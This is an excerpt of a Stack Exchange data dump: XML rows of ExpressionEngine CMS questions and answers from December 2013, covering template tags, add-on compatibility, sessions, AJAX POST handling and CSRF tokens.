  <row Id="17862" PostTypeId="1" CreationDate="2013-12-19T23:10:30.613" Score="1" ViewCount="207" Body="&lt;p&gt;I recently updated to EE 2.7.3 (from EE 2.5.5) and Freeform Pro 4.1.3. I had a couple fields using the hidden fieldtype. These fields have the Default Incoming Data set as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;date&quot; dynamic=&quot;yes&quot; match=&quot;#^\\d{2}-\\d{2}-\\d{4}$#&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically what this does is fetch a date from the url query string, see if it matches the proper format, and if so set the default value. This was working prior to the update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the update, it stopped working. I tried to figure out why and here's what I came up with. First, I thought maybe it was a Stash bug. So I var_dump'ed &lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;tagproper&lt;/code&gt; in the &lt;code&gt;Stash::get&lt;/code&gt; method. And it revealed something interesting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&amp;amp;quot;date&amp;amp;quot; dynamic=&amp;amp;quot;yes&amp;amp;quot; match=&amp;amp;quot;#^\d{2}-\d{2}-\d{4}$#&amp;amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems that something in the EE 2.6 or 2.7 update caused the quotes (double and single) to get HTML encoded. The brackets did not get encoded so I don't think it was run through &lt;code&gt;htmlentities&lt;/code&gt;. So my guess is that Freeform needs to decode those entities prior to printing out that default value to screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug?&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-12-19T23:10:30.613" Title="Freeform Pro: hidden fieldtype - Default Incoming Data stopped working" Tags="|solspace-freeform|solspace|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17863" PostTypeId="2" ParentId="17772" CreationDate="2013-12-19T23:43:59.200" Score="1" Body="&lt;p&gt;Well... since noone could answer me, in time, I've resolved it with pure PHP and OO ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll share my code, just if anyone has similar issue or need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per my edit in the question area I've moved the logic in a separate page - &lt;code&gt;check_password.html&lt;/code&gt; with PHP ON at the Output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the following code, create a snippet variable with a given name (&lt;code&gt;snippet_variable&lt;/code&gt; in my sample case), add an html form (shown further down) that posts to this page a variable with a given name (&lt;code&gt;post_variable&lt;/code&gt; in my case). Then when the last_page_visited gets re-loaded from the redirect at the end of the code, check for the session variable (&lt;code&gt;session_variable&lt;/code&gt; in my case) and show whatever you want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$post_field_key = 'post_variable';&#xA;$snippet_field_key = 'snippet_variable';&#xA;$session_field_key = 'session_variable';&#xA;$session_field_value = '1'; # The value you want the session_variable set to&#xA;$bad_request_message = 'Bad request!';&#xA;$bad_data_message = 'Wrong password!';&#xA;$flashdata_key = 'error_message';&#xA;&#xA;### This does what Mo Variables' last_page_visited does&#xA;if ( isset( $this-&amp;gt;EE-&amp;gt;session-&amp;gt;tracker[1] ) ) {&#xA;  if ( $this-&amp;gt;EE-&amp;gt;session-&amp;gt;tracker[1] === 'index' )&#xA;    $last_page_visited = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;fetch_site_index( true );&#xA;  else&#xA;    $last_page_visited = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;create_url( $this-&amp;gt;EE-&amp;gt;session-&amp;gt;tracker[1] );&#xA;} else&#xA;  $last_page_visited = $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item( 'site_url' );&#xA;&#xA;### This compares the posted_variable to the snippet_variable&#xA;if ( ! empty( $_POST ) &amp;amp;&amp;amp; $_POST[$post_field_key] == $this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars[$snippet_field_key] ) {&#xA;  $sid = session_id();&#xA;&#xA;  ### First check if there is a session and if we can start one&#xA;  if ( empty( $sid ) ) {&#xA;    if ( ! headers_sent() )&#xA;      session_start();&#xA;    else {&#xA;      ### This is executed if a session couldn't be started&#xA;      $this-&amp;gt;EE-&amp;gt;session-&amp;gt;set_flashdata( $flashdata_key, $bad_request_message );&#xA;      $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect( $last_page_visited );&#xA;      die();&#xA;    }&#xA;  }&#xA;&#xA;  $_SESSION[$session_field_key] = $session_field_value;&#xA;} else {&#xA;  ### This is executed if the page is visited without proper POST data&#xA;  $this-&amp;gt;EE-&amp;gt;session-&amp;gt;set_flashdata( $flashdata_key, $bad_data_message );&#xA;}&#xA;&#xA;### Always redirect back to the last_page_visited (or the index)&#xA;$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect( $last_page_visited );&#xA;die();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my partial, that renders the link (all code below goes in one page, ofc):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{exp:session_variables:get name='session_variable'}' == '1'}&#xA;  &amp;lt;p&amp;gt;GOT THE SESSION SET CORRECTLY&amp;lt;/p&amp;gt;&#xA;{if:else}&#xA;  &amp;lt;div class=&quot;error-message&quot;&amp;gt;&#xA;    {flashdata:error_message}&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;a href=&quot;#show-modal&quot; class=&quot;btn&quot; data-toggle=&quot;modal&quot;&amp;gt;Click here to view HIDDEN CONTENT&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the modal code, but you could easily have it in-line above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;modal hide&quot; id=&quot;show-modal&quot;&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;modal-body&quot;&amp;gt;&#xA;    &amp;lt;button class=&quot;close&quot; data-dismiss=&quot;modal&quot;&amp;gt;&amp;lt;span class=&quot;visuallyhidden&quot;&amp;gt;Close&amp;lt;/span&amp;gt;&amp;lt;/button&amp;gt;&#xA;&#xA;    &amp;lt;form action=&quot;{path='path-to/check_password}&quot; method=&quot;post&quot;&amp;gt;&#xA;      &amp;lt;div&amp;gt;&#xA;        &amp;lt;input class=&quot;span2&quot; type=&quot;password&quot; name=&quot;post_variable&quot; value=&quot;&quot; autocomplete=&quot;off&quot; /&amp;gt;&#xA;        &amp;lt;input class=&quot;btn&quot; type=&quot;submit&quot; value=&quot;Go&quot; /&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Show/hide of the modal is handled by Twitter's Bootstrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end I'm still using Session Variables - &lt;a href=&quot;http://putyourlightson.net/session-variables-plugin&quot; rel=&quot;nofollow&quot;&gt;http://putyourlightson.net/session-variables-plugin&lt;/a&gt;, but dropped the need of Mo Variables and Redirectee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all honesty if I'm not using EE template &quot;code&quot; I'm fine, but otherwise I &lt;strong&gt;hate&lt;/strong&gt; EE with its rendering and variable injection/substitution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's it.&lt;/p&gt;&#xA;" OwnerUserId="2509" LastActivityDate="2013-12-19T23:43:59.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17864" PostTypeId="1" CreationDate="2013-12-20T01:23:05.957" Score="0" ViewCount="121" Body="&lt;p&gt;Is there a way to check if a template group exists either in the templates or in a add-on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I would want to do something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:foo:template_exists name=&quot;blog/test&quot;} == &quot;true&quot;}&#xA;    {embed=&quot;bar/qux&quot;}&#xA;{if:else}&#xA;    {redirect=&quot;404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-12-20T17:16:51.113" Title="Check if a template group exists" Tags="|templates|404|template-scripting|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17865" PostTypeId="1" AcceptedAnswerId="17954" CreationDate="2013-12-20T01:23:19.543" Score="3" ViewCount="5617" Body="&lt;p&gt;The following allways evaluates &lt;code&gt;if (isset($_POST[&quot;sort&quot;]))&lt;/code&gt; as false:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// Base template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Fired on click event (no JS console errors)&#xA;$.post( &quot;/path/to/ajax/target/&quot;, {sort: day} );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;// AJAX target template (PHP enabled)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;     if (isset($_POST[&quot;sort&quot;])) &#xA;     {&#xA;       $sort = $_POST[&quot;sort&quot;];&#xA;       echo $sort;&#xA;     } &#xA;     else &#xA;     {&#xA;       $sort = null;&#xA;       echo &quot;no sort data&quot;;&#xA;     }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've even tried using POSTMAN to test the AJAX template with post data and it still returns false. I know the ajax works because &lt;code&gt;$.get(&quot;/path/to/ajax/target/&quot;);&lt;/code&gt; properly returns whatever html i put in it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2013-12-27T05:20:35.617" Title="jQuery AJAX POST data can't be accessed via PHP" Tags="|php|jquery|ajax|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17866" PostTypeId="1" CreationDate="2013-12-20T05:37:52.360" Score="0" ViewCount="54" Body="&lt;p&gt;Whenever I try and save a Parcel I created, the form just returns to localhost.  I am not working locally, so I am not sure why it would go to that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7&#xA;Postmasger 1.4.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have the latest Matrix, Assets and Zenbu installed. &lt;/p&gt;&#xA;" OwnerUserId="804" LastActivityDate="2013-12-20T15:16:44.460" Title="Postmaster Parcel submitting to localhost" Tags="|postmaster|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17867" PostTypeId="2" ParentId="17765" CreationDate="2013-12-20T06:25:05.513" Score="1" Body="&lt;p&gt;There are a few ways to do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In file upload preferences you can create &quot;image manipulations&quot;, these create resized/scaled images from the original uploaded file, useful for creating thumbs. When you upload a new image EE will create whatever variations you set up.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To call a variation into your template the syntax is {cf_my_image_field:my_variation_name}, so if you have an manipulation called &quot;thumb&quot; it would be {cf_my_image_field:thumb}&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use CEimage - &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-image&lt;/a&gt;&#xA;This is an addon which creates sized images in your templates&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use two fil field on your publish page&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;one field for the small/thumb image&lt;/li&gt;&#xA;&lt;li&gt;one field for the large image&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-12-20T06:25:05.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17868" PostTypeId="2" ParentId="17864" CreationDate="2013-12-20T08:37:16.087" Score="1" Body="&lt;p&gt;As far as i'm aware this functionality is built in by default, if there is no template then it'll automatically 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see the ExpressionEngine URL Schematic here:&#xA;&lt;a href=&quot;http://www.jamessmith.co.uk/images/ExpressionEngine_url_schematic.png&quot; rel=&quot;nofollow&quot;&gt;http://www.jamessmith.co.uk/images/ExpressionEngine_url_schematic.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-12-20T08:37:16.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17869" PostTypeId="2" ParentId="17842" CreationDate="2013-12-20T08:39:25.630" Score="1" Body="&lt;p&gt;We've done it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}&#xA;    &amp;lt;fieldset id=&quot;create-account&quot;&amp;gt;&#xA;      &amp;lt;legend&amp;gt;Create your account&amp;lt;/legend&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;register_member&quot; class=&quot;checkbox&quot;&amp;gt;&#xA;                    {field:register_member}  Register Member Account&#xA;                &amp;lt;/label&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;!-- These fields are optional --&amp;gt;&#xA;    &amp;lt;div id=&quot;register_member_draw&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;          {field:password} {error:password}&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;        &amp;lt;label class=&quot;control-label&quot; for=&quot;password_confirm&quot;&amp;gt;Confirm Password&amp;lt;/label&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;          {field:password_confirm} {error:password_confirm}&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the JS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(function() {&#xA;    $('#register_member').change(function() {&#xA;        if (this.checked) {&#xA;            $('#register_member_draw').slideDown();&#xA;        } else {&#xA;            $('#register_member_draw').slideUp();&#xA;        }&#xA;    });&#xA;    if ($('#register_member').is(':checked')) {&#xA;        $('#register_member_draw').show();&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-12-20T08:39:25.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17870" PostTypeId="2" ParentId="17840" CreationDate="2013-12-20T09:07:44.663" Score="1" Body="&lt;p&gt;Right, I've solved this by adding &lt;code&gt;paginate_base=&quot;news&quot;&lt;/code&gt; into the channel:entries tag and it works correctly now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea why it was broken in the first place though! &lt;/p&gt;&#xA;" OwnerUserId="2519" LastActivityDate="2013-12-20T09:07:44.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17871" PostTypeId="2" ParentId="17864" CreationDate="2013-12-20T12:32:37.133" Score="0" Body="&lt;p&gt;As other have said, this is built in by default. &lt;a href=&quot;http://joviawebstudio.com/index_ee.php/blog/guide_to_404_pages_with_expressionengine/&quot; rel=&quot;nofollow&quot;&gt;Have a look at this article by Jovia Web Studio&lt;/a&gt; if you want to implement a more stringent 404 policy on your site. Comment are interesting as well.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-12-20T12:32:37.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17872" PostTypeId="1" AcceptedAnswerId="17876" CreationDate="2013-12-20T13:08:15.210" Score="2" ViewCount="527" Body="&lt;p&gt;We have 3 channels called chapters, districts and groups. Channel chapters has a multiple relationship field for districts, channel districts has a multiple relationship field for groups, channel groups has all the groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We assign members to groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At a point (when a member logs in) we know the group and like to know what district and what chapter are assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our test here we are putting an entry_id in the group channel to get a certain group out. And then we get the district with the first parents tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the second parents tag for channel chapter does not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would we get the chapter then? Would we need an embed or ...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for some advice.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;   channel=&quot;gruppen&quot;&#xA;   entry_id=&quot;1&quot;&#xA;}&#xA;&#xA;  {parents field=&quot;gruppen&quot;}&#xA;      Bezirk (district): {parents:title}&#xA;      {!-- The following doesn't work --}&#xA;      {parents channel=&quot;bereiche&quot; field=&quot;bezirke&quot;}&#xA;            Bereich (chapter): {parents:title} &#xA;      {/parents}&#xA;  {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="686" LastActivityDate="2013-12-20T15:07:49.193" Title="Relationships: getting parent from parent" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17873" PostTypeId="1" AcceptedAnswerId="17874" CreationDate="2013-12-20T13:19:02.573" Score="3" ViewCount="254" Body="&lt;p&gt;I am creating a members only section and I am wondering if I can use the member_group variable, on its own, to check if a user is logged in or not. My assumption is that using both the logged_in variable and member_group variables at once creates a more resource heavy advanced conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic example here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in AND member_group == &quot;5&quot;}&#xA;    logged in content (member group 5 view) &#xA;{if:else}&#xA;    logged out content (public view)&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if users are not a part of any member group I create, or they are not a super admin, then they default to the Guest member group 3. This represents anyone not logged in. At least that is how I understand it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if EE identifies a user as belonging to any member group other than Guest, doesn't that mean they are logged in? If this is the case, then I should be able to use simple member group conditionals to check logged in status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this sound right or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="706" LastActivityDate="2013-12-20T14:45:42.733" Title="Can we use member_group instead of logged_in/out?" Tags="|members|conditionals|advanced-conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17874" PostTypeId="2" ParentId="17873" CreationDate="2013-12-20T14:45:42.733" Score="3" Body="&lt;p&gt;Yes, you can use &lt;code&gt;group_id&lt;/code&gt; (or preferably &lt;code&gt;logged_in_group_id&lt;/code&gt;) on its own - no need to include &lt;code&gt;logged_in&lt;/code&gt; as well in the conditional.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-20T14:45:42.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17876" PostTypeId="2" ParentId="17872" CreationDate="2013-12-20T15:07:49.193" Score="2" Body="&lt;p&gt;You can actually accomplish this by further namespacing the Relationship tag pairs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;gruppen&quot; entry_id=&quot;1&quot;}&#xA;  {parents field=&quot;gruppen&quot;}&#xA;      Bezirk (district): {parents:title}&#xA;      {parents:parents channel=&quot;bereiche&quot; field=&quot;bezirke&quot;}&#xA;            Bereich (chapter): {parents:parents:title} &#xA;      {/parents:parents}&#xA;  {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-20T15:07:49.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17877" PostTypeId="2" ParentId="17866" CreationDate="2013-12-20T15:16:44.460" Score="1" Body="&lt;p&gt;Postmaster uses front-end actions to save parcels, and it gets the URL for that action from your site preferences. Check the value of &lt;strong&gt;URL to the root directory of your site&lt;/strong&gt; (found under &lt;strong&gt;Admin &amp;rarr; General Configuration&lt;/strong&gt;) - my guess is that it's still set to &lt;code&gt;localhost&lt;/code&gt; from when you were in development.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-20T15:16:44.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17878" PostTypeId="1" AcceptedAnswerId="17880" CreationDate="2013-12-20T15:27:51.340" Score="0" ViewCount="307" Body="&lt;p&gt;My question is pretty straight to the point.  I want to use WYGWAM as a data type within the Grid field, but it doesn't give me the option to select it?  Anyone know if this is possible?  I know it can be done within Matrix, but if I can just use the native Grid field, I'd prefer that.&lt;/p&gt;&#xA;" OwnerUserId="885" LastActivityDate="2014-07-08T21:14:58.860" Title="Can you use Wygwam within Grid field?" Tags="|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17879" PostTypeId="2" ParentId="17865" CreationDate="2013-12-20T15:30:47.017" Score="2" Body="&lt;p&gt;Do you have &lt;em&gt;Process form data in Secure Mode?&lt;/em&gt; set to &quot;Yes&quot; in your Security and Session Preferences? That could be your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do, then EE will give a &quot;The action you have requested is invalid.&quot; error message instead of using your template, and you'll never be able to get your POST data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried your code and it works as long as &lt;em&gt;Process form data in Secure Mode?&lt;/em&gt; set to &quot;No&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like to keep &lt;em&gt;Process form data in Secure Mode?&lt;/em&gt; set to &quot;Yes&quot; you can do that, you just need to submit a valid XID along with your other parameters. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#csrf-tokens-in-templates&quot; rel=&quot;nofollow&quot;&gt;CSRF Tokens in Templates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-12-20T15:30:47.017" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17880" PostTypeId="2" ParentId="17878" CreationDate="2013-12-20T15:37:51.270" Score="0" Body="&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of March 12, 2014 (&lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/changelog.html#wygwam-3-3&quot; rel=&quot;nofollow&quot;&gt;Wygwam 3.3 release&lt;/a&gt;), Wygwam is compatible with Grid (you can Wygwam as a Grid cell type).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;It looks like Wygwam is not compatible with Grid. The add-on page on &lt;a href=&quot;http://devot-ee.com/add-ons/wygwam&quot; rel=&quot;nofollow&quot;&gt;devot:ee&lt;/a&gt; indicates no Grid compatibility and in a test I'm not able to do this with the latest versions of EE and Wygwam (2.7.3 and 3.2.2, respectively).&lt;/strike&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-07-08T21:14:58.860" LastActivityDate="2014-07-08T21:14:58.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17881" PostTypeId="2" ParentId="17878" CreationDate="2013-12-20T15:45:59.740" Score="0" Body="&lt;p&gt;It's not possible. You can use expresso, it is compatibal with Grid.&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2013-12-20T15:45:59.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17882" PostTypeId="1" CreationDate="2013-12-20T16:21:42.350" Score="3" ViewCount="342" Body="&lt;ul&gt;&#xA;&lt;li&gt;SCROLL FOR NEW EDIT&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I understand that EE does not currently have functionality to show you anything beyond the basic member variables in the email notifications (such as username, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have many custom variables so that when a member registers, they have to enter specific data like contact information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to facilitate the approval process, I NEED the notification email to display the information the user puts into those custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I have been unable to find any combination of plugins and templates that will allow this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently working with MX Notify and having trouble figuring out if it can actually do this.  Right now I can get it to display the username, screen name and email etc, but I cannot for the life of me get it to display anything else from the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried several plugins with no luck.  ANY help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NEW EDIT - 6 JAN 2014&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the information from the link in the only answer here so far, and it made no difference.  I still cannot display custom data in an email notification about a member's custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there nobody out there who has successfully done this??&lt;/p&gt;&#xA;" OwnerUserId="2422" LastEditorUserId="2422" LastEditDate="2014-01-06T17:58:23.340" LastActivityDate="2014-04-06T19:59:53.987" Title="Custom Member Variables in Admin Notification Email?" Tags="|members|plugin|member-details|member-management|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17883" PostTypeId="2" ParentId="17882" CreationDate="2013-12-20T16:35:15.977" Score="0" Body="&lt;p&gt;You may of come across this already, but if you haven't, look at &lt;a href=&quot;http://www.eec.ms/forums/viewthread/117/#1676&quot; rel=&quot;nofollow&quot;&gt;http://www.eec.ms/forums/viewthread/117/#1676&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2013-12-20T16:35:15.977" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17884" PostTypeId="2" ParentId="17864" CreationDate="2013-12-20T17:16:51.113" Score="0" Body="&lt;p&gt;What you are trying to do should be done using an Ajax function. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.ajax({&#xA;    type: 'HEAD',&#xA;    url: 'http://www.example.com/template_group/',&#xA;    success: function() {&#xA;        alert('Page found.');&#xA;    },  &#xA;    error: function() {&#xA;        alert('Page not found.');&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there's an error, redirect to your 404 page.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-12-20T17:16:51.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17885" PostTypeId="2" ParentId="17826" CreationDate="2013-12-20T19:00:46.457" Score="2" Body="&lt;p&gt;The basic concept behind what you need to do is generate a JSON response of your markers, and loop through them with JS and add them to the map manually. That's really the only want around the procedural JS that is injected into your page. You could load the JSON feed asynchronously too.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-12-20T19:00:46.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17886" PostTypeId="1" CreationDate="2013-12-20T19:33:21.280" Score="0" ViewCount="280" Body="&lt;p&gt;Just got handed over ExpressionEngine from previous developer so we migrated it to our new server. There are no images in the frontend and backend admin panel. 777 permission were given to _assets, cache folders. No Update Indexes option in Addon-&gt;Modules-&gt;Assets. Assets running 1.1.3 and ExpressionEngine is on 2.3.1. When I try to upload a new image in the &quot;empty&quot; file manager, I get &quot;Your upload directory isn’t writable&quot;. I suspect its temp folder and where do I set the permission for it? Thanks&lt;/p&gt;&#xA;" OwnerUserId="2523" LastActivityDate="2014-05-22T11:06:12.923" Title="No images in Assets file manager and no Update Indexes option" Tags="|assets|server-migration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
